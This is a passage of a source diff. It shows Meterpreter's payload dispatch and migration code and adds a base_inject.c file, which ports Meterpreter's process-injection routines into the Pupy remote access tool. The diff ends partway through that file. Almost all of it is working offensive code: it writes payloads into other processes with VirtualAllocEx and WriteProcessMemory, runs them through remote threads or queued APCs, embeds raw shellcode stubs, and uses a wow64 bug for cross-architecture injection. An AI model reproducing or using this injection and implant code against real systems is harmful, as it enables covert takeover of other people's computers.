ERROR_SUCCESS; + + // make sure we are not trying to remove the last transport + if (remote->transport == remote->transport->prev_transport) + { + dprintf("[DISPATCH] Refusing to delete the last transport"); + result = ERROR_INVALID_FUNCTION; + } + else + { + Transport* found = NULL; + Transport* transport = remote->transport; + wchar_t* transportUrl = packet_get_tlv_value_wstring(packet, TLV_TYPE_TRANS_URL); + + do + { + if (wcscmp(transportUrl, transport->url) == 0) + { + found = transport; + break; + } + + transport = transport->next_transport; + } while (transport != remote->transport); + + if (found == NULL || found == remote->transport) + { + dprintf("[DISPATCH] Transport not found, or attempting to remove current"); + // if we don't have a valid transport, or they're trying to remove the + // existing one, then bomb out (that might come later) + result = ERROR_INVALID_PARAMETER; + } + else + { + remote->trans_remove(remote, found); + dprintf("[DISPATCH] Transport removed"); + } + + SAFE_FREE(transportUrl); + } + + packet_transmit_empty_response(remote, packet, result); + dprintf("[DISPATCH] Response sent."); + return result; +} + +DWORD remote_request_core_transport_add(Remote* remote, Packet* packet) +{ + Transport* transport = NULL; + DWORD result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, result); + return result; +} + +BOOL remote_request_core_transport_sleep(Remote* remote, Packet* packet, DWORD* result) +{ + // we'll reuse the comm timeout TLV for this purpose + DWORD seconds = packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + + dprintf("[DISPATCH] request received to sleep for %u seconds", seconds); + + // to sleep, we simply jump to the same transport, with a delay + remote->next_transport_wait = seconds; + remote->next_transport = remote->transport; + + packet_transmit_empty_response(remote, packet, ERROR_SUCCESS); + *result = ERROR_SUCCESS; + + // exit out of the dispatch loop + return FALSE; +} + +BOOL remote_request_core_transport_change(Remote* remote, Packet* packet, DWORD* result) +{ + Transport* transport = NULL; + *result = create_transport_from_request(remote, packet, &transport); + + packet_transmit_empty_response(remote, packet, *result); + + if (*result == ERROR_SUCCESS) + { + remote->next_transport = transport; + // exit out of the dispatch loop. + return FALSE; + } + + return TRUE; +} + +/*! + * @brief Set the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_setcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // no setting of the cert hash if the target isn't a HTTPS transport + if (remote->transport->type != METERPRETER_TRANSPORT_HTTPS) + { + result = ERROR_BAD_ENVIRONMENT; + break; + } + + unsigned char* certHash = packet_get_tlv_value_raw(packet, TLV_TYPE_TRANS_CERT_HASH); + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + + // Support adding a new cert hash if one doesn't exist + if (!ctx->cert_hash) + { + if (certHash) + { + PBYTE newHash = (unsigned char*)malloc(sizeof(unsigned char)* CERT_HASH_SIZE); + if (!newHash) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + memcpy(newHash, certHash, CERT_HASH_SIZE); + + // Set it at the last minute. Mucking with "globals" and all, want to make sure we + // don't set it too early.. just in case. + ctx->cert_hash = newHash; + } + else + { + // at this time, don't support overwriting of the existing hash + // as that will cause issues! + result = ERROR_BAD_ARGUMENTS; + break; + } + } + // support removal of the existing hash + else + { + if (certHash) + { + result = ERROR_BAD_ARGUMENTS; + break; + } + else + { + SAFE_FREE(ctx->cert_hash); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Get the current hash that is used for SSL certificate verification. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + */ +DWORD remote_request_core_transport_getcerthash(Remote* remote, Packet* packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Rather than error out if the transport isn't HTTPS, we'll just return + // an empty response. This prevents a horrible error appearing in the + // MSF console + if (remote->transport->type == METERPRETER_TRANSPORT_HTTPS) + { + HttpTransportContext* ctx = (HttpTransportContext*)remote->transport->ctx; + if (ctx->cert_hash) + { + packet_add_tlv_raw(response, TLV_TYPE_TRANS_CERT_HASH, ctx->cert_hash, CERT_HASH_SIZE); + } + } + + result = ERROR_SUCCESS; + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + +/*! + * @brief Migrate the meterpreter server from the current process into another process. + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @param pResult Pointer to the memory that will receive the result. + * @returns Indication of whether the server should continue processing or not. + */ +BOOL remote_request_core_migrate(Remote * remote, Packet * packet, DWORD* pResult) +{ + DWORD dwResult = ERROR_SUCCESS; + Packet * response = NULL; + HANDLE hToken = NULL; + HANDLE hProcess = NULL; + HANDLE hEvent = NULL; + BYTE * lpPayloadBuffer = NULL; + LPVOID lpMigrateStub = NULL; + LPBYTE lpMemory = NULL; + MIGRATECONTEXT ctx = { 0 }; + DWORD dwMigrateStubLength = 0; + DWORD dwPayloadLength = 0; + DWORD dwProcessID = 0; + DWORD dwDestinationArch = 0; + + MetsrvConfig* config = NULL; + DWORD configSize = 0; + + do + { + response = packet_create_response(packet); + if (!response) + { + dwResult = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Get the process identifier to inject into + dwProcessID = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_PID); + + // Get the target process architecture to inject into + dwDestinationArch = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_ARCH); + + // Get the length of the payload buffer + dwPayloadLength = packet_get_tlv_value_uint(packet, TLV_TYPE_MIGRATE_LEN); + + // Receive the actual migration payload buffer + lpPayloadBuffer = packet_get_tlv_value_string(packet, TLV_TYPE_MIGRATE_PAYLOAD); + + dprintf("[MIGRATE] Attempting to migrate. ProcessID=%d, Arch=%s, PayloadLength=%d", dwProcessID, (dwDestinationArch == 2 ? "x64" : "x86"), dwPayloadLength); + + // If we can, get SeDebugPrivilege... + if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) + { + TOKEN_PRIVILEGES priv = { 0 }; + + priv.PrivilegeCount = 1; + priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid)) + { + if (AdjustTokenPrivileges(hToken, FALSE, &priv, 0, NULL, NULL)); + { + dprintf("[MIGRATE] Got SeDebugPrivilege!"); + } + } + + CloseHandle(hToken); + } + + // Open the process so that we can migrate into it + hProcess = OpenProcess(PROCESS_DUP_HANDLE | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, dwProcessID); + if (!hProcess) + { + BREAK_ON_ERROR("[MIGRATE] OpenProcess failed") + } + + // get the existing configuration + dprintf("[MIGRATE] creating the configuration block"); + remote->config_create(remote, &config, &configSize); + dprintf("[MIGRATE] Config of %u bytes stashed at 0x%p", configSize, config); + + if (config->session.comms_fd) + { + // Duplicate the socket for the target process if we are SSL based + if (WSADuplicateSocket(config->session.comms_fd, dwProcessID, &ctx.info) != NO_ERROR) + { + BREAK_ON_WSAERROR("[MIGRATE] WSADuplicateSocket failed") + } + } + + // Create a notification event that we'll use to know when it's safe to exit + // (once the socket has been referenced in the other process) + hEvent = CreateEvent(NULL, TRUE, FALSE, NULL); + if (!hEvent) + { + BREAK_ON_ERROR("[MIGRATE] CreateEvent failed") + } + + // Duplicate the event handle for the target process + if (!DuplicateHandle(GetCurrentProcess(), hEvent, hProcess, &ctx.e.hEvent, 0, TRUE, DUPLICATE_SAME_ACCESS)) + { + BREAK_ON_ERROR("[MIGRATE] DuplicateHandle failed") + } + + // Get the architecture specific process migration stub... + if (dwDestinationArch == PROCESS_ARCH_X86) + { + lpMigrateStub = (LPVOID)&migrate_stub_x86; + dwMigrateStubLength = sizeof(migrate_stub_x86); + } + else if (dwDestinationArch == PROCESS_ARCH_X64) + { + lpMigrateStub = (LPVOID)&migrate_stub_x64; + dwMigrateStubLength = sizeof(migrate_stub_x64); + } + else + { + SetLastError(ERROR_BAD_ENVIRONMENT); + dprintf("[MIGRATE] Invalid target architecture: %u", dwDestinationArch); + break; + } + + // Allocate memory for the migrate stub, context, payload and configuration block + lpMemory = (LPBYTE)VirtualAllocEx(hProcess, NULL, dwMigrateStubLength + sizeof(MIGRATECONTEXT) + dwPayloadLength + configSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); + if (!lpMemory) + { + BREAK_ON_ERROR("[MIGRATE] VirtualAllocEx failed") + } + + // Calculate the address of the payload... + ctx.p.lpPayload = lpMemory + dwMigrateStubLength + sizeof(MIGRATECONTEXT); + + // Write the migrate stub to memory... + dprintf("[MIGRATE] Migrate stub: 0x%p -> %u bytes", lpMemory, dwMigrateStubLength); + if (!WriteProcessMemory(hProcess, lpMemory, lpMigrateStub, dwMigrateStubLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 1 failed") + } + + // Write the migrate context to memory... + dprintf("[MIGRATE] Migrate context: 0x%p -> %u bytes", lpMemory + dwMigrateStubLength, sizeof(MIGRATECONTEXT)); + if (!WriteProcessMemory(hProcess, lpMemory + dwMigrateStubLength, &ctx, sizeof(MIGRATECONTEXT), NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 2 failed") + } + + // Write the migrate payload to memory... + dprintf("[MIGRATE] Migrate payload: 0x%p -> %u bytes", ctx.p.lpPayload, dwPayloadLength); + if (!WriteProcessMemory(hProcess, ctx.p.lpPayload, lpPayloadBuffer, dwPayloadLength, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 3 failed") + } + + // finally write the configuration stub + dprintf("[MIGRATE] Configuration: 0x%p -> %u bytes", ctx.p.lpPayload + dwPayloadLength, configSize); + if (!WriteProcessMemory(hProcess, ctx.p.lpPayload + dwPayloadLength, config, configSize, NULL)) + { + BREAK_ON_ERROR("[MIGRATE] WriteProcessMemory 4 failed") + } + + // First we try to migrate by directly creating a remote thread in the target process + if (inject_via_remotethread(remote, response, hProcess, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + dprintf("[MIGRATE] inject_via_remotethread failed, trying inject_via_apcthread..."); + + // If that fails we can try to migrate via a queued APC in the target process + if (inject_via_apcthread(remote, response, hProcess, dwProcessID, dwDestinationArch, lpMemory, lpMemory + dwMigrateStubLength) != ERROR_SUCCESS) + { + BREAK_ON_ERROR("[MIGRATE] inject_via_apcthread failed") + } + } + + dwResult = ERROR_SUCCESS; + + } while (0); + + SAFE_FREE(config); + + // If we failed and have not sent the response, do so now + if (dwResult != ERROR_SUCCESS && response) + { + dprintf("[MIGRATE] Sending response"); + packet_transmit_response(dwResult, remote, response); + } + + // Cleanup... + if (hProcess) + { + dprintf("[MIGRATE] Closing the process handle 0x%08x", hProcess); + CloseHandle(hProcess); + } + + if (hEvent) + { + dprintf("[MIGRATE] Closing the event handle 0x%08x", hEvent); + CloseHandle(hEvent); + } + + if (pResult) + { + *pResult = dwResult; + } + + // if migration succeeded, return 'FALSE' to indicate server thread termination. + dprintf("[MIGRATE] Finishing migration, result: %u", dwResult); + return ERROR_SUCCESS == dwResult ? FALSE : TRUE; +} + +/*! + * @brief Update the timeouts with the given values + * @param remote Pointer to the \c Remote instance. + * @param packet Pointer to the request packet. + * @returns Indication of success or failure. + * @remark If no values are given, no updates are made. The response to + * this message is the new/current settings. + */ +DWORD remote_request_core_transport_set_timeouts(Remote * remote, Packet * packet) +{ + DWORD result = ERROR_SUCCESS; + Packet* response = NULL; + + do + { + response = packet_create_response(packet); + if (!response) + { + result = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + int expirationTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_SESSION_EXP); + int commsTimeout = (int)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_COMM_TIMEOUT); + DWORD retryTotal = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_TOTAL); + DWORD retryWait = (DWORD)packet_get_tlv_value_uint(packet, TLV_TYPE_TRANS_RETRY_WAIT); + + // TODO: put this in a helper function that can be used everywhere? + + // if it's in the past, that's fine, but 0 implies not set + if (expirationTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting expiration time to %d", expirationTimeout); + remote->sess_expiry_time = expirationTimeout; + remote->sess_expiry_end = current_unix_timestamp() + expirationTimeout; + } + + if (commsTimeout != 0) + { + dprintf("[DISPATCH TIMEOUT] setting comms timeout to %d", commsTimeout); + remote->transport->timeouts.comms = commsTimeout; + remote->transport->comms_last_packet = current_unix_timestamp(); + } + + if (retryTotal > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry total to %u", retryTotal); + remote->transport->timeouts.retry_total = retryTotal; + } + + if (retryWait > 0) + { + dprintf("[DISPATCH TIMEOUT] setting retry wait to %u", retryWait); + remote->transport->timeouts.retry_wait = retryWait; + } + + // for the session expiry, return how many seconds are left before the session actually expires + packet_add_tlv_uint(response, TLV_TYPE_TRANS_SESSION_EXP, remote->sess_expiry_end - current_unix_timestamp()); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_COMM_TIMEOUT, remote->transport->timeouts.comms); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_TOTAL, remote->transport->timeouts.retry_total); + packet_add_tlv_uint(response, TLV_TYPE_TRANS_RETRY_WAIT, remote->transport->timeouts.retry_wait); + + } while (0); + + if (response) + { + packet_transmit_response(result, remote, response); + } + + return result; +} + diff --git a/client/sources/base_inject.c b/client/sources/base_inject.c new file mode 100644 index 00000000..d141d30b --- /dev/null +++ b/client/sources/base_inject.c @@ -0,0 +1,605 @@ +/* + This code is originally from meterpreter and has been modified to be integrated into pupy. + original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ + +Meterpreter is available for use under the following license, commonly known as the +3-clause (or "modified") BSD license: + +========================================================================================= + +Meterpreter +----------- + +Copyright (c) 2006-2013, Rapid7 Inc + +Redistribution and use in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + +* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ + +//#include "common.h" +#include + +#include "thread.h" +#include "list.h" +#include "remote_thread.h" +#include "LoadLibraryR.h" +#include "base_inject.h" +#include +#include "Python-dynload.h" + + +#define BREAK_ON_ERROR( str ) { PyErr_SetString(PyExc_Exception, str); break; } + +// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' +BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" + "\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" + "\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00" + "\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24" + "\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24"; + +// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' +BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" + "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" + "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" + "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" + "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" + "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" + "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" + "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" + "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" + "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" + "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" + "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" + "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" + "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" + "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" + "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" + "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" + "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; + +// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' +BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" + "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" + "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" + "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" + "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" + "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" + "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" + "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" + "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" + "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" + "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" + "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" + "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" + "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00"; + +// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' +BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" + "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" + "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" + "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" + "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" + "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" + "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" + "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" + "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" + "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" + "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" + "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" + "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" + "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" + "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" + "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" + "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" + "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00"; + +/* + * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread + * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe + */ +DWORD inject_via_apcthread( HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) +{ + DWORD dwResult = ERROR_ACCESS_DENIED; + HMODULE hNtdll = NULL; + NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; + HANDLE hThreadSnap = NULL; + LPVOID lpApcStub = NULL; + LPVOID lpRemoteApcStub = NULL; + LPVOID lpRemoteApcContext = NULL; + LIST * thread_list = NULL; + THREADENTRY32 t = {0}; + APCCONTEXT ctx = {0}; + DWORD dwApcStubLength = 0; + + do + { + thread_list = list_create(); + if( !thread_list ) + break; + + ctx.s.lpStartAddress = lpStartAddress; + ctx.p.lpParameter = lpParameter; + ctx.bExecuted = FALSE; + + t.dwSize = sizeof( THREADENTRY32 ); + + // Get the architecture specific apc migration stub... + if( dwDestinationArch == PROCESS_ARCH_X86 ) + { + if( dwPupyArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x86(wow64) + + // Our injected APC ends up running in native x64 mode within the wow64 process and as such + // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. + + // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. + + SetLastError( ERROR_ACCESS_DENIED ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) + } + else + { + // injecting x86->x86 + lpApcStub = &apc_stub_x86; + dwApcStubLength = sizeof( apc_stub_x86 ); + } + } + else if( dwDestinationArch == PROCESS_ARCH_X64 ) + { + // injecting x64->x64 (and the same stub for x86(wow64)->x64) + lpApcStub = &apc_stub_x64; + dwApcStubLength = sizeof( apc_stub_x64 ); + + if( dwPupyArch == PROCESS_ARCH_X86 ) + { + // injecting x86(wow64)->x64 + + // For now we leverage a bug in wow64 to get x86->x64 injection working, this + // will simply fail gracefully on systems where the technique does not work. + + MEMORY_BASIC_INFORMATION mbi = {0}; + LPVOID lpRemoteAddress = NULL; + BYTE * lpNopSled = NULL; + BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; + + /* + // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. + // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, + // however the start address of the new APC in the native x64 process is not what we specify but instead it is + // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc + // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there + // injection will continue as normal. + + // The registers on the native x64 process after the queued APC is attempted to run: + rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process + rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) + rdx = dwApcStatusBlock // unused + r8 = dwApcReserved // unused + + // On the WOW64 process side: + wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine + wow64:000000006B0095F0 + wow64:000000006B0095F0 public Wow64ApcRoutine + + // On the native x64 process side: + ntdll:0000000077EF30A0 public KiUserApcDispatcher + ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value + ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock + ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved + ntdll:0000000077EF30AE mov r9, rsp + ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! + + // Our bStub: + 00000000 4889C8 mov rax, rcx + 00000003 48C1E120 shl rcx, 32 + 00000007 48C1E920 shr rcx, 32 + 0000000B 48C1E820 shr rax, 32 + 0000000F FFE0 jmp rax + */ + + // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... + // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. + lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteAddress ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); + + if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); + + lpNopSled = (BYTE *)malloc( mbi.RegionSize ); + if( !lpNopSled ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); + + memset( lpNopSled, 0x90, mbi.RegionSize ); + + if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) + + if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) + + free( lpNopSled ); + } + } + else + { + SetLastError( ERROR_BAD_ENVIRONMENT ); + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) + } + + hNtdll = LoadLibraryA( "ntdll" ); + if( !hNtdll ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) + + pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); + if( !pNtQueueApcThread ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) + + hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); + if( !hThreadSnap ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) + + if( !Thread32First( hThreadSnap, &t ) ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) + + // Allocate memory for the apc stub and context + lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + if( !lpRemoteApcStub ) + BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) + + // Simply determine the apc context address + lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); + + //printf( "[INJECT] -- dwPupyArch=%s, 